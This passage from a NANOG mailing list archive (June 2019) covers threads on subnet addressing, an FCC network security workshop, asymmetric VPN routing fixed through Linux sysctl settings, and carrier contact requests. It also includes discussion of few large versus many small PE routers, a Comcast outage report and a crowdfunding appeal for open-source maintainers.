you’re thinking. > > -mel > >> On Jun 25, 2019, at 3:27 PM, Mel Beckman > wrote: >> >> You’re using just the two middle IPs in the four that make up the /30 set, right? IOW, the subnet x.x.x.0/30 should have .0 and .3 unused (they’re broadcast), and you use .1 and .2. >> >> -mel >> >>> On Jun 25, 2019, at 9:41 AM, Scott > wrote: >>> >>> First, sorry if this is a bit of a noob question. >>> >>> I'm trying to find a way of preventing a slew of traffic to an IP, or >>> IP's, when I join two /30 public subnets to a /29. It appears that while >>> the ranges are /30 someone is trying to brute-force the network and/or >>> broadcast addresses for the ranges. When I change them to be a /29, now >>> the router sees the traffic and starts dropping packets. Are there any >>> suggestions for mitigating this behavior or is it just the nature of the >>> beast? >>> >>> -- >>> 101010 >>> >>> -- 101010 TSI Disclaimer: This message and any files or text attached to it are intended only for the recipients named above and contain information that may be confidential or privileged. If you are not the intended recipient, you must not forward, copy, use or otherwise disclose this communication or the information contained herein. In the event you have received this message in error, please notify the sender immediately by replying to this message, and then delete all copies of it from your system. Thank you!... -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Wed Jun 26 01:51:19 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 25 Jun 2019 21:51:19 -0400 Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: looks like our best and brightest have the problem resolved, phew! we're all safe now. On Tue, Jun 25, 2019 at 5:26 PM Sean Donelan wrote: > > On Fri, 21 Jun 2019, Sean Donelan wrote: > > Federal Communications Commissioner Geoffrey Starks is holding a workshop > > next week, June 27, 2019, to hear from interested parties on how to address > > the national security threats posed by insecure equipment within our > > communications networks. > > The agenda for the FCC network security workshop has been published. > > https://www.fcc.gov/document/commissioner-starks-releases-agenda-network-security-workshop > From me at anuragbhatia.com Wed Jun 26 12:43:53 2019 From: me at anuragbhatia.com (Anurag Bhatia) Date: Wed, 26 Jun 2019 18:13:53 +0530 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: The issue is resolved by tweaking the route validation. Added following my ansible playbook for both ends: - name: Enable Controls source route verification sysctl: name: net.ipv4.conf.default.rp_filter value: '0' sysctl_set: yes - name: Do not accept source routing sysctl: name: net.ipv4.conf.default.accept_source_route value: '1' sysctl_set: yes and it works fien now. Thanks, everyone for the inputs. On Thu, Jun 13, 2019 at 3:55 AM Jerry Cloe wrote: > Linux by default (regardless of firewall rules) will not accept a packet > on an interface when the source of that packet "should" be on another > interface according to the current route table (in other words, you're > doing asymetric routing). > > > > Easy fix: > > > # Controls source route verification > net.ipv4.conf.default.rp_filter = 0 > # Do not accept source routing > net.ipv4.conf.default.accept_source_route = 1 > > > > -----Original message----- > *From:* Anurag Bhatia > *Sent:* Wed 06-12-2019 04:45 pm > *Subject:* Issue with point to point VPNs behind NAT and asymmetric > traffic > *To:* NANOG Mailing List ; > Hello everyone, > > Trying to get my head around a certain unexpected behaviour. > > > I am running two site to site VPNs (wireguard now, OpenVPN earlier) > between my home and a remote server over two different WAN links. Both WAN > links are just consumer connections - one with public IP and one with > CGNATed IP. > The redundancy here is taken care of by the OSPF running via FRR on both > ends. > > > The unexpected behaviour I get is that if I set OSPF cost to prefer say > link1 between home -> server and prefer link 2 between server -> home then > connectivity completely breaks between the routed pools. The point to point > IPs stay reachable (which is over expected links i.e symmetric via both > ends). As long as both ends prefer link1 or link2, it works fine. At first, > I thought it had to do something with NAT but still can't understand how. > Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is > always up. Any idea why asymmetric packets are being dropped here? > This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is > still the same when I moved everything to Wireguard for VPN + FRR for > routing + OSPF. > > > > > Thanks. > > > -- > > > Anurag Bhatia > > anuragbhatia.com > > -- Anurag Bhatia anuragbhatia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From sean at donelan.com Wed Jun 26 17:17:13 2019 From: sean at donelan.com (Sean Donelan) Date: Wed, 26 Jun 2019 13:17:13 -0400 (EDT) Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: On Tue, 25 Jun 2019, Christopher Morrow wrote: > looks like our best and brightest have the problem resolved, phew! > we're all safe now. The success rate of most groups has been low in this area, so I' willing let new groups try. I mostly just to keep an eye on new groups in case they do stupid things. If they come up with a better idea, that's great. I'll take good ideas from anywere. From morrowc.lists at gmail.com Wed Jun 26 18:27:47 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 26 Jun 2019 14:27:47 -0400 Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: On Wed, Jun 26, 2019 at 1:17 PM Sean Donelan wrote: > > On Tue, 25 Jun 2019, Christopher Morrow wrote: > > looks like our best and brightest have the problem resolved, phew! > > we're all safe now. > > The success rate of most groups has been low in this area, so I' willing > let new groups try. > > I mostly just to keep an eye on new groups in case they do stupid things. > > If they come up with a better idea, that's great. I'll take good ideas > from anywere. sure, good ideas would be nice. I'm skeptical of the panel's members being able to actually do that in this (and really many) case. who knows, maybe today is the day! :) From switchninja at gmail.com Wed Jun 26 17:35:57 2019 From: switchninja at gmail.com (Christopher Rogers) Date: Wed, 26 Jun 2019 10:35:57 -0700 Subject: Anyone from AT&T/AS7018 available? Message-ID: I'm a customer of 7018 and am currently struggling to get anyone to look at a bgp misconfiguration within 7018- it's like pissing into a hurricane. If anyone is available could you kindly ping me offlist? cheers -chris -------------- next part -------------- An HTML attachment was scrubbed... URL: From tj at pcguys.us Wed Jun 26 18:48:22 2019 From: tj at pcguys.us (TJ Trout) Date: Wed, 26 Jun 2019 11:48:22 -0700 Subject: Anyone from AT&T/AS7018 available? In-Reply-To: References: Message-ID: try Jay Borkenhagen On Wed, Jun 26, 2019 at 11:31 AM Christopher Rogers wrote: > I'm a customer of 7018 and am currently struggling to get anyone to look > at a bgp misconfiguration within 7018- it's like pissing into a hurricane. > If anyone is available could you kindly ping me offlist? > > cheers > -chris > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jsklein at gmail.com Wed Jun 26 19:26:52 2019 From: jsklein at gmail.com (j k) Date: Wed, 26 Jun 2019 19:26:52 +0000 Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: Not bad, only took 15 years. On Wed, Jun 26, 2019, 6:29 PM Christopher Morrow wrote: > On Wed, Jun 26, 2019 at 1:17 PM Sean Donelan wrote: > > > > On Tue, 25 Jun 2019, Christopher Morrow wrote: > > > looks like our best and brightest have the problem resolved, phew! > > > we're all safe now. > > > > The success rate of most groups has been low in this area, so I' willing > > let new groups try. > > > > I mostly just to keep an eye on new groups in case they do stupid things. > > > > If they come up with a better idea, that's great. I'll take good ideas > > from anywere. > > sure, good ideas would be nice. > I'm skeptical of the panel's members being able to actually do that in > this (and really many) case. > > who knows, maybe today is the day! :) > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nick at foobar.org Wed Jun 26 20:25:00 2019 From: nick at foobar.org (Nick Hilliard) Date: Wed, 26 Jun 2019 21:25:00 +0100 Subject: Anyone from AT&T/AS7018 available? In-Reply-To: References: Message-ID: <4915f598-d4b5-635e-76f9-2bba102e2499@foobar.org> um, blaring someone's personal email address to 10,000 people for a work related thing? Really? Nick TJ Trout wrote on 26/06/2019 19:48: > try Jay Borkenhagen > > On Wed, Jun 26, 2019 at 11:31 AM Christopher Rogers wrote: > > I'm a customer of 7018 and am currently struggling to get anyone to > look at a bgp misconfiguration within 7018- it's like pissing into a > hurricane.  If anyone is available could you kindly ping me offlist? > > cheers > -chris > From christopher.smalling at neonova.net Wed Jun 26 20:25:54 2019 From: christopher.smalling at neonova.net (Christopher Smalling) Date: Wed, 26 Jun 2019 15:25:54 -0500 Subject: Bestel/AS18734 Contact Message-ID: Does anyone have a contact for Bestel/AS18734? We've been having peering issues with them on and off for a while now, and can't seem to get any response through their contacts listed with ARIN or on PeeringDB. Calls to support are fruitless, with nobody knowing where to direct us. -- Chris Smalling Network Operations NeoNova -------------- next part -------------- An HTML attachment was scrubbed... URL: From cfillekes at gmail.com Wed Jun 26 20:49:38 2019 From: cfillekes at gmail.com (C. A. Fillekes) Date: Wed, 26 Jun 2019 16:49:38 -0400 Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: References: Message-ID: NANOG: Come for the network info! Stay for the dry humor! On Wed, Jun 26, 2019 at 3:28 PM j k wrote: > Not bad, only took 15 years. > > On Wed, Jun 26, 2019, 6:29 PM Christopher Morrow > wrote: > >> On Wed, Jun 26, 2019 at 1:17 PM Sean Donelan wrote: >> > >> > On Tue, 25 Jun 2019, Christopher Morrow wrote: >> > > looks like our best and brightest have the problem resolved, phew! >> > > we're all safe now. >> > >> > The success rate of most groups has been low in this area, so I' willing >> > let new groups try. >> > >> > I mostly just to keep an eye on new groups in case they do stupid >> things. >> > >> > If they come up with a better idea, that's great. I'll take good ideas >> > from anywere. >> >> sure, good ideas would be nice. >> I'm skeptical of the panel's members being able to actually do that in >> this (and really many) case. >> >> who knows, maybe today is the day! :) >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From surfer at mauigateway.com Wed Jun 26 21:17:47 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 26 Jun 2019 14:17:47 -0700 Subject: FCC workshop: Security vulnerabilities within our communications networks Message-ID: <20190626141747.43D1CC38@m0117460.ppops.net> --- sean at donelan.com wrote: From: Sean Donelan If they come up with a better idea, that's great. I'll take good ideas from anywere. ------------------------------------ FCC. gov't. Design by committee. Never seen good design come out of these, but like Chris said, maybe today's the day... ;-) scott From list at satchell.net Wed Jun 26 21:45:10 2019 From: list at satchell.net (Stephen Satchell) Date: Wed, 26 Jun 2019 14:45:10 -0700 Subject: FCC workshop: Security vulnerabilities within our communications networks In-Reply-To: <20190626141747.43D1CC38@m0117460.ppops.net> References: <20190626141747.43D1CC38@m0117460.ppops.net> Message-ID: On 6/26/19 2:17 PM, Scott Weeks wrote: > > --- sean at donelan.com wrote: > From: Sean Donelan > > If they come up with a better idea, that's great. I'll > take good ideas from anywere. In my experience, "design by committee" is most successful when one or two people take the bull by the horns and flesh out a solution, and the rest of the bunch nod their heads and say, "Huzza". From randy at psg.com Wed Jun 26 22:31:07 2019 From: randy at psg.com (Randy Bush) Date: Wed, 26 Jun 2019 15:31:07 -0700 Subject: Anyone from AT&T/AS7018 available? In-Reply-To: <4915f598-d4b5-635e-76f9-2bba102e2499@foobar.org> References: <4915f598-d4b5-635e-76f9-2bba102e2499@foobar.org> Message-ID: > um, blaring someone's personal email address to 10,000 people for a > work related thing? +20 From tj at pcguys.us Wed Jun 26 22:32:33 2019 From: tj at pcguys.us (TJ Trout) Date: Wed, 26 Jun 2019 15:32:33 -0700 Subject: Anyone from AT&T/AS7018 available? In-Reply-To: References: <4915f598-d4b5-635e-76f9-2bba102e2499@foobar.org> Message-ID: And they aren't archived when you post to the list anyway? On Wed, Jun 26, 2019, 3:31 PM Randy Bush wrote: > > um, blaring someone's personal email address to 10,000 people for a > > work related thing? > > +20 > -------------- next part -------------- An HTML attachment was scrubbed... URL: From christoffer at netravnen.de Wed Jun 26 22:37:55 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Thu, 27 Jun 2019 00:37:55 +0200 Subject: Anyone from AT&T/AS7018 available? In-Reply-To: References: <4915f598-d4b5-635e-76f9-2bba102e2499@foobar.org> Message-ID: <64f8f9d7-c2b3-44f6-e579-8464c53bcd04@netravnen.de> https://seclists.org/nanog/2019/Jun/ On 27/06/2019 00:32, TJ Trout wrote: > And they aren't archived when you post to the list anyway? > > On Wed, Jun 26, 2019, 3:31 PM Randy Bush > wrote: > +20 > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: OpenPGP digital signature URL: From christopher.smalling at neonova.net Wed Jun 26 22:40:56 2019 From: christopher.smalling at neonova.net (Christopher Smalling) Date: Wed, 26 Jun 2019 17:40:56 -0500 Subject: Bestel/AS18734 Contact In-Reply-To: References: Message-ID: Disregard. Shortly after emailing this out, we received word back. On Wed, Jun 26, 2019 at 3:25 PM Christopher Smalling < christopher.smalling at neonova.net> wrote: > Does anyone have a contact for Bestel/AS18734? We've been having peering > issues with them on and off for a while now, and can't seem to get any > response through their contacts listed with ARIN or on PeeringDB. Calls to > support are fruitless, with nobody knowing where to direct us. > > -- > Chris Smalling > Network Operations > NeoNova > > > -- [image: photo] Christopher Smalling NOC Support Technician at NeoNova O: 256-428-8788 • christopher.smalling at neonova.net www.neonova.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From adamv0025 at netconsultings.com Thu Jun 27 11:47:11 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Thu, 27 Jun 2019 12:47:11 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> > From: James Bensley > Sent: Thursday, June 27, 2019 9:56 AM > > One experience I have made is that when there is an outage on a large PE, > even when it still has spare capacity, is that the business impact can be too > much to handle (the support desk is overwhelmed, customers become irate > if you can't quickly tell them what all the impacted services are, when service > will be restored, the NMS has so many alarms it’s not clear what the problem > is or where it's coming from etc.). > I see what you mean, my hope is to address these challenges by having a "single source of truth" provisioning system that will have, among other things, also HW-customer/service mapping -so Ops team will be able to say that if particular LC X fails then customers/services X,Y,Z will be affected. But yes I agree with smaller PEs any failure fallout is minimized proportionally. > > This doesn’t mean there isn’t a place for large routers. For example, in a > typical network, by the time we get to the P nodes layer in the core we tend > to have high levels of redundancy, i.e. any PE is dual-homed to two or more P > nodes and will have 100% redundant capacity. Exactly, while the service edge topology might be dynamic as a result of horizontal scaling the core on the other hand I'd say should be fairly static and scaled vertically, that is I wouldn't want to scale core routers horizontally and as a result have core topology changing with every P scale out iteration at any POP, that would be bad news for capacity planning and traffic engineering... > > I’ve tried to write some of my experiences here > (https://null.53bits.co.uk/index.php?page=few-larger-routers-vs.-many- > smaller-routers). > The tl;dr version though is that there’s rarely a technical restriction to having > fewer large routers and it’s an operational/business impact problem. > I'll give it a read, cheers. adam From adamv0025 at netconsultings.com Thu Jun 27 12:03:55 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Thu, 27 Jun 2019 13:03:55 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> <010201d5280b$ed8e3990$c8aaacb0$@netconsultings.com> Message-ID: <018b01d52ce0$65698bd0$303ca370$@netconsultings.com> > From: Mark Tinka > Sent: Friday, June 21, 2019 1:27 PM > > > > On 21/Jun/19 10:32, adamv0025 at netconsultings.com wrote: > > > So this particular case, the major POPs, is actually where we ran into the > problem of RE/RP becoming full (too many VRFs/Routes/BGP sessions) > halfway through the chassis. > > Hence I'm considering whether it's actually better to go with multiple small > chassis and/or fixed form PEs in the rack as opposed to half/full rack chassis. > > Are you saying that even the fastest and biggest control plane on the market > for your chassis is unable to support your requirements (assuming their cost > did not stop you from looking at them in the first place)? > I believe it would, for a time, but it would require SW upgrade -testing etc.. even newer SW in itself gave us better resource management and performance optimizations. However even with powerful CP and streamlined SW we'd be still just buying time while pushing the envelope. Hence the decentralization at the edge seems like a natural strategy to exit the uroboros paradigm. adam From jwbensley+nanog at gmail.com Thu Jun 27 08:58:47 2019 From: jwbensley+nanog at gmail.com (James Bensley) Date: Thu, 27 Jun 2019 09:58:47 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: On Wed, 19 Jun 2019 at 21:23, wrote: > > Hi folks, > > Recently I ran into a peculiar situation where we had to cap couple of PE > even though merely a half of the rather big chassis was populated with > cards, reason being that the central RE/RP was not able to cope with the > combined number of routes/vrfs/bgp sessions/etc.. > > So this made me think about the best strategy in building out SP-Edge > nowadays (yes I'm aware of the centralize/decentralize pendulum swinging > every couple of years). > The conclusion I came to was that *currently the best approach would be to > use several medium to small(fixed) PEs to replace a big monolithic chasses > based system. > So what I was thinking is, > Yes it will cost a bit more (router is more expensive than a LC) > Will end up with more prefixes in IGP, more BGP sessions etc.. -don't care. > But the benefits are less eggs in one basket, simplified and hence faster > testing in case of specialized PEs and obviously better RP CPU/MEM to port > ratio. > Am I missing anything please? > > *currently, > Yes some old chassis systems or even multi-chassis systems used to support > additional RPs and offloading some of the processes (e.g. BGP onto those) > -problem is these are custom hacks and still a single OS which needs > rebooting LC/ASICs when being upgraded -so the problem of too many eggs in > one basket still exists (yes cisco NCS6k and recent ASR9k lightspeed LCs are > an exception) > And yes there is the "node-slicing" approach from Juniper where one can > offload CP onto multiple x86 servers and assign LCs to each server (virtual > node) - which would solve my chassis full problem -but honestly how many of > you are running such setup? Exactly. And that's why I'd be hesitant to > deploy this solution in production just yet. I don't know of any other > vendor solution like this one, but who knows maybe in 5 years this is going > to be the new standard. Anyways I need a solution/strategy for the next 3-5 > years. > > > Would like to hear what are your thoughts on this conundrum. > > adam > > netconsultings.com > ::carrier-class solutions for the telecommunications industry:: Hi Adam, Over the years I have been bitten multiple times by having fewer big routers with either far too many services/customers connected to them or too much traffic going through them. These days I always go for more smaller/more routers than fewer/larger routers. One experience I have made is that when there is an outage on a large PE, even when it still has spare capacity, is that the business impact can be too much to handle (the support desk is overwhelmed, customers become irate if you can't quickly tell them what all the impacted services are, when service will be restored, the NMS has so many alarms it’s not clear what the problem is or where it's coming from etc.). I’ve seen networks place change freeze on devices, with the exception of changes that migrate customers or services off of the PE, because any outage would create too great an impact to the business, or risk the customers terminating their contract. I’ve also seen changes freeze be placed upon large PEs because the complexity was too great, trying to work out the impact of a change on one of the original PEs from when the network was first built, which is somehow linked to virtually every service on the network in some obscure and unforeseeable way. This doesn’t mean there isn’t a place for large routers. For example, in a typical network, by the time we get to the P nodes layer in the core we tend to have high levels of redundancy, i.e. any PE is dual-homed to two or more P nodes and will have 100% redundant capacity. Down at the access layer customers may be connected to a single access layer device or the access layer device might have a single backhaul link. So technically we have lots of customers, services and traffic passing through larger P node devices, but these devices have a low rate of changes / low touch, perform a low number of functions, they are operationally simple, and are highly redundant. Adversely at the service edge, which I guess is your main concern here, I’m all about more smaller devices with single service dedicated devices. I’ve tried to write some of my experiences here (https://null.53bits.co.uk/index.php?page=few-larger-routers-vs.-many-smaller-routers). The tl;dr version though is that there’s rarely a technical restriction to having fewer large routers and it’s an operational/business impact problem. I'd like to hear from anyone who has had great success with fewer larger PEs. Cheers, James. From jwbensley+nanog at gmail.com Thu Jun 27 12:48:25 2019 From: jwbensley+nanog at gmail.com (James Bensley) Date: Thu, 27 Jun 2019 13:48:25 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> Message-ID: On Thu, 27 Jun 2019 at 12:46, wrote: > > > From: James Bensley > > Sent: Thursday, June 27, 2019 9:56 AM > > > > One experience I have made is that when there is an outage on a large PE, > > even when it still has spare capacity, is that the business impact can be too > > much to handle (the support desk is overwhelmed, customers become irate > > if you can't quickly tell them what all the impacted services are, when service > > will be restored, the NMS has so many alarms it’s not clear what the problem > > is or where it's coming from etc.). > > > I see what you mean, my hope is to address these challenges by having a "single source of truth" provisioning system that will have, among other things, also HW-customer/service mapping -so Ops team will be able to say that if particular LC X fails then customers/services X,Y,Z will be affected. > But yes I agree with smaller PEs any failure fallout is minimized proportionally. Hi Adam, My experience is that it is much more complex than that (although it also depends on what sort of service you're offering), one can't easily model the inter-dependency between multiple physical assets like links, interfaces, line cards, racks, DCs etc and logical services such as a VRFs/L3VPNs, cloud hosted proxies and the P&T edge. Consider this, in my opinion, relatively simple example: Three PEs in a triangle. Customer is dual-homed to PE1 and PE2 and their link to PE1 is their primary/active link. Transit is dual-homed to PE2 and PE3 and your hosted filtering service cluster is also dual-homed to PE2 and PE3 to be near the Internet connectivity. How will you record the inter-dependencies that an outage on PE3 impacts Customer? Because when that Customer sends traffic to PE1 (lets say all their operations are hosted in a public cloud provider), and PE1 has learned the shortest-path to 0/0 or ::0/0 from PE2, the Internet traffic is sent from PE1 to PE2, and from PE2 into your filtering cluster, and when the traffic comes back into PE2 after passing through the filters it is then sent to PE3 because the transit provider attached to PE3 has a better route to Customer's destination (AWS/Azure/GCP/whatever) than the one directly attached to PE2. That to me is a simple scenario, and it can be mapped with a dependency tree. But in my experience, and maybe it's just me, things are usually a lot more complicated than this. The root cause is probably a bad design introducing too much complexity, which is another vote for smaller PEs from me. With more service dedicated PEs one can reduce or remove the possibility of piling multiple services and more complexity onto the same PE(s). Most places I've seen (managed service providers) simply can't map the complex inter-dependencies they have been physical and logical infrastructure without having some super bespoke and also complex asset management / CMDB / CI system. Cheers, James. From john at essenz.com Thu Jun 27 15:16:44 2019 From: john at essenz.com (John Von Essen) Date: Thu, 27 Jun 2019 11:16:44 -0400 Subject: Comcast Outage - East Coast? Message-ID: <06BC5A0B-2F2D-474B-BA79-BF946774B1DA@essenz.com> I just saw a 40% traffic drop on my routing core (East Coast based) across all my BGP peers. None of my transit peers flapped or had any issues other than the traffic drop. Almost all the complaints of connectivity issues were people using Comcast, so right now thats the only common thread. Anyone else see this? It appears to have resolved after about 5 mins. -John From mark.tinka at seacom.mu Thu Jun 27 15:26:03 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 27 Jun 2019 17:26:03 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <5024d726-e718-4852-73c5-6af8bb15b672@seacom.mu> On 27/Jun/19 10:58, James Bensley wrote: > Hi Adam, > > Over the years I have been bitten multiple times by having fewer big > routers with either far too many services/customers connected to them > or too much traffic going through them. These days I always go for > more smaller/more routers than fewer/larger routers. > > One experience I have made is that when there is an outage on a large > PE, even when it still has spare capacity, is that the business impact > can be too much to handle (the support desk is overwhelmed, customers > become irate if you can't quickly tell them what all the impacted > services are, when service will be restored, the NMS has so many > alarms it’s not clear what the problem is or where it's coming from > etc.). > > I’ve seen networks place change freeze on devices, with the exception > of changes that migrate customers or services off of the PE, because > any outage would create too great an impact to the business, or risk > the customers terminating their contract. I’ve also seen changes > freeze be placed upon large PEs because the complexity was too great, > trying to work out the impact of a change on one of the original PEs > from when the network was first built, which is somehow linked to > virtually every service on the network in some obscure and > unforeseeable way. I would tend to agree when the edge routers are massive, e.g., boxes like the Cisco ASR9922 or the Juniper MX2020 are simply too large, and present a real risk re: that level of customer aggregation (even for low-revenue services such as Broadband). I don't think I'd ever justify buying these towers to aggregate customers, mainly due to the risk. For us, even the MX960 is too big, which is why we focus on the MX480 (ASR9906 being the equivalent). It's a happy medium between the small and large end of the spectrum. And as I mentioned before, we just look at a totally different box for 100Gbps customers. Mark. From mark.tinka at seacom.mu Thu Jun 27 15:27:02 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 27 Jun 2019 17:27:02 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <018b01d52ce0$65698bd0$303ca370$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> <010201d5280b$ed8e3990$c8aaacb0$@netconsultings.com> <018b01d52ce0$65698bd0$303ca370$@netconsultings.com> Message-ID: <5e6821ab-94c6-7345-2967-450c0529b751@seacom.mu> On 27/Jun/19 14:03, adamv0025 at netconsultings.com wrote: > I believe it would, for a time, but it would require SW upgrade -testing etc.. even newer SW in itself gave us better resource management and performance optimizations. > However even with powerful CP and streamlined SW we'd be still just buying time while pushing the envelope. > Hence the decentralization at the edge seems like a natural strategy to exit the uroboros paradigm. Well, this is one area where I can't meaningfully add value, since you know your environment better than anyone else on this list. Mark. From mark.tinka at seacom.mu Thu Jun 27 15:31:27 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 27 Jun 2019 17:31:27 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> Message-ID: <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> On 27/Jun/19 14:48, James Bensley wrote: > That to me is a simple scenario, and it can be mapped with a > dependency tree. But in my experience, and maybe it's just me, things > are usually a lot more complicated than this. The root cause is > probably a bad design introducing too much complexity, which is > another vote for smaller PEs from me. With more service dedicated PEs > one can reduce or remove the possibility of piling multiple services > and more complexity onto the same PE(s). Which is one of the reasons we - painfully to the bean counters - insist that routers are deployed for function. We won't run peering and transit services on the same router. We won't run SP and Enterprise on the same router as Broadband. We won't run supporting services (DNS, RADIUS, WWW, FTP, Portals, NMS, e.t.c.) on the same router where we terminate customers. This level of distribution, although quite costly initially, means you reduce the inter-dependency of services at a hardware level, and can safely keep things apart so that when bits fail, you aren't committing other services to the same fate. Mark. From esr at thyrsus.com Thu Jun 27 15:41:11 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 11:41:11 -0400 (EDT) Subject: Crowdfunding critical infrastructure Message-ID: <20190627154111.27032470499D@snark.thyrsus.com> The members of this list are, I think, much more aware tham most that a lot of critical Internet software is maintained by unfunded volunteers, and of the systemic risks that result from this. I'm attacking the problem at the root, applying what the Internet has taught us about decentralization and avoidiing single poimts of failure. In part because I'm currently struggling with medical bills (nothing life-threatening, just ankle surgery) but I've been worrying about the larger problem for a decade. Please read http://loadsharers.net Of course I would like everyone on here to take the pledge and spread the word in technical communities where they have influence. But beyond that, there are several members of this list who are clearly qualified to join as advisers. We're going to need that as the Loadsharers network scales up. -- Eric S. Raymond .. a government and its agents are under no general duty to provide public services, such as police protection, to any particular individual citizen... -- Warren v. District of Columbia, 444 A.2d 1 (D.C. App.181) From matt at netfire.net Thu Jun 27 15:57:45 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 27 Jun 2019 10:57:45 -0500 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627154111.27032470499D@snark.thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: On Thu, Jun 27, 2019 at 10:41 AM Eric S. Raymond wrote: > The members of this list are, I think, much more aware tham most that > a lot of critical Internet software is maintained by unfunded > volunteers, and of the systemic risks that result from this. > > I'm attacking the problem at the root, applying what the Internet has > taught us about decentralization and avoidiing single poimts of > failure. In part because I'm currently struggling with medical bills > (nothing life-threatening, just ankle surgery) but I've been worrying > about the larger problem for a decade. > > Please read http://loadsharers.net > > Of course I would like everyone on here to take the pledge and spread > the word in technical communities where they have influence. But > beyond that, there are several members of this list who are clearly > qualified to join as advisers. We're going to need that as the > Loadsharers network scales up. > Interesting concept, and seems like a good idea. What's the end goal look like? Encouraging folks to contribute to specific individuals directly may be a little more difficult though, compared to, say, getting a legitimate organization going that provides (likely objectively-determined merit-based) payouts to the sort of folks you're talking about. Is that on the table, or is the goal more to just encourage direct payments from one individual to others? I think many of us assume that doing the sort of work you're referring to will definitely result in the regular receipt of many prestigious, high-paying job offers. If that's not the case, maybe something else we can do is to help find full-time employment/funding for folks who contribute and need it. Hope your ankle's feeling better soon! -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Thu Jun 27 16:01:10 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Thu, 27 Jun 2019 09:01:10 -0700 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627154111.27032470499D@snark.thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: On Thu, Jun 27, 2019 at 08:41 Eric S. Raymond wrote: > The members of this list are, I think, much more aware tham most that > a lot of critical Internet software is maintained by unfunded > volunteers, and of the systemic risks that result from this. > Please explain. This is not true. > I'm attacking the problem at the root, applying what the Internet has > taught us about decentralization and avoidiing single poimts of > failure. In part because I'm currently struggling with medical bills > (nothing life-threatening, just ankle surgery) but I've been worrying > about the larger problem for a decade. > > Please read http://loadsharers.net This needs governance and transparency around it. Just launching a page isn’t going to get you anywhere “sustsinable” > > Of course I would like everyone on here to take the pledge and spread > the word in technical communities where they have influence. But > beyond that, there are several members of this list who are clearly > qualified to join as advisers. We're going to need that as the > Loadsharers network scales up. > -- > Eric S. Raymond > > .. a government and its agents are under no general duty to > provide public services, such as police protection, to any > particular individual citizen... > -- Warren v. District of Columbia, 444 A.2d 1 (D.C. App.181) > -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From Francois.Lecavalier at mindgeek.com Thu Jun 27 15:14:17 2019 From: Francois.Lecavalier at mindgeek.com (Francois Lecavalier) Date: Thu, 27 Jun 2019 15:14:17 +0000 Subject: AS16509 (Amazon) peering contact Message-ID: Hi nanog, We just joined a IXP (QiX - Montreal) in the hope to offload >4Gbps of traffic to AWS, however it's been 2 weeks we sent a request to peering at amazon.com without any reply. Are they usually taking long to reply? Anyone have a direct contact? Thanks, -Frank This e-mail may be privileged and/or confidential, and the sender does not waive any related rights and obligations. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. If you received this e-mail in error, please advise me (by return e-mail or otherwise) immediately. Ce courrier ?lectronique est confidentiel et prot?g?. L'exp?diteur ne renonce pas aux droits et obligations qui s'y rapportent. Toute diffusion, utilisation ou copie de ce message ou des renseignements qu'il contient par une personne autre que le (les) destinataire(s) d?sign?(s) est interdite. Si vous recevez ce courrier ?lectronique par erreur, veuillez m'en aviser imm?diatement, par retour de courrier ?lectronique ou par un autre 